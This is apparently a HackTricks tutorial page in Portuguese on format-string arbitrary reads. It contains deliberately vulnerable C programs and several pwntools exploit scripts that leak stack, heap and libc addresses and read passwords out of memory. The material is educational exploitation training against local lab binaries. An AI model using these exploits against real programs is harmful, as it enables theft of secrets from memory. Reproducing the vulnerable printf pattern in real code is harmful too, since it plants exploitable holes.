Format Strings - Arbitrary Read Example
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Início da Leitura do Binário
Código
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Compile com:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploit
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- O offset é 11 porque ao colocar vários As e fazer brute-forcing com um loop que percorre offsets de 0 a 50 descobriu-se que no offset 11 e com 5 chars extras (pipes
|no nosso caso), é possível controlar um endereço completo. - Usei
%11$pcom padding até que o endereço fosse todo 0x4141414141414141 - O format string payload está ANTES do endereço porque o printf para de ler ao encontrar um null byte, então se enviarmos o endereço e depois a format string, o printf nunca alcançará a format string pois um null byte será encontrado antes
- O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)
Ler senhas
Binário vulnerável com senhas em stack e BSS
```c #includechar bss_password[20] = “hardcodedPassBSS”; // Password in BSS
int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];
printf(“Enter first password: “); scanf(”%19s“, input1);
printf(“Enter second password: “); scanf(”%19s“, input2);
// Vulnerable printf printf(input1); printf(“\n”);
// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }
return 0; }
</details>
Compile com:
```bash
clang -o fs-read fs-read.c -Wno-format-security
Ler da stack
O stack_password será armazenado na stack porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo da stack é suficiente. Este é um exploit para BF as primeiras 100 posições para leak os passwords da stack:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Na imagem é possível ver que podemos leak the password da stack na posição 10th:
.png)
.png)
Ler dados
Executando o mesmo exploit, mas com %p em vez de %s, é possível leak um heap address da stack em %25$p. Além disso, comparando o leaked address (0xaaaab7030894) com a posição da password na memória desse processo, podemos obter a diferença entre os endereços:
Agora é hora de descobrir como controlar 1 address na stack para acessá-lo a partir da segunda vulnerabilidade de format string:
Encontrar endereço controlável na stack
```python from pwn import *def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)
for i in range(30): p = process(“./fs-read”)
heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)
password_addr = heap_leak_addr - 0x126a
print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”
p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()
</details>
E é possível ver que no **try 14**, com os parâmetros usados, podemos controlar um endereço:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Automatizando a descoberta do offset
Quando o layout da stack muda a cada execução (full ASLR/PIE), bruteforcing offsets manualmente é lento. pwntools expõe FmtStr para detectar automaticamente o índice do argumento que alcança nosso buffer controlado. A lambda deve retornar a saída do programa depois de enviar o payload candidato. Ela para assim que puder corromper/observar a memória de forma confiável.
from pwn import *
context.binary = elf = ELF('./fs-read', checksec=False)
# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)
fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")
Você pode então reutilizar offset para construir payloads de leitura/escrita arbitrária com fmtstr_payload, evitando fuzzing manual de %p.
PIE/libc leak then arbitrary read
Em binários modernos com PIE e ASLR, primeiro leak qualquer ponteiro libc (por exemplo __libc_start_main+243 ou setvbuf), calcule as bases e depois coloque o endereço alvo após a format string. Isso evita que o %s seja truncado por bytes nulos dentro do ponteiro.
Leak libc and read arbitrary address
```python from pwn import *elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
io = process()
leak libc address from stack (offset 25 from previous fuzz)
io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)
secret = libc.address + 0x1f7bc # adjust to your target
payload = f“%14$s|||“.encode() payload += p64(secret)
io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address
</details>
## Referências
- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporte o HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
>
> </details>


